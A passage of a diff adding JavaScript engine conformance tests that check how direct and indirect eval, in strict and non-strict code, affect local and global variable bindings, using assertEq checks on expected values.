+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
new file mode 100644
index 000000000..d75496fa5
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
new file mode 100644
index 000000000..f38fc1b58
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-normalcode.js
new file mode 100644
index 000000000..5d556458b
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-strictcode.js
new file mode 100644
index 000000000..a215a3ce7
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-direct-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
new file mode 100644
index 000000000..8b3016d2e
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
new file mode 100644
index 000000000..4157369ba
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
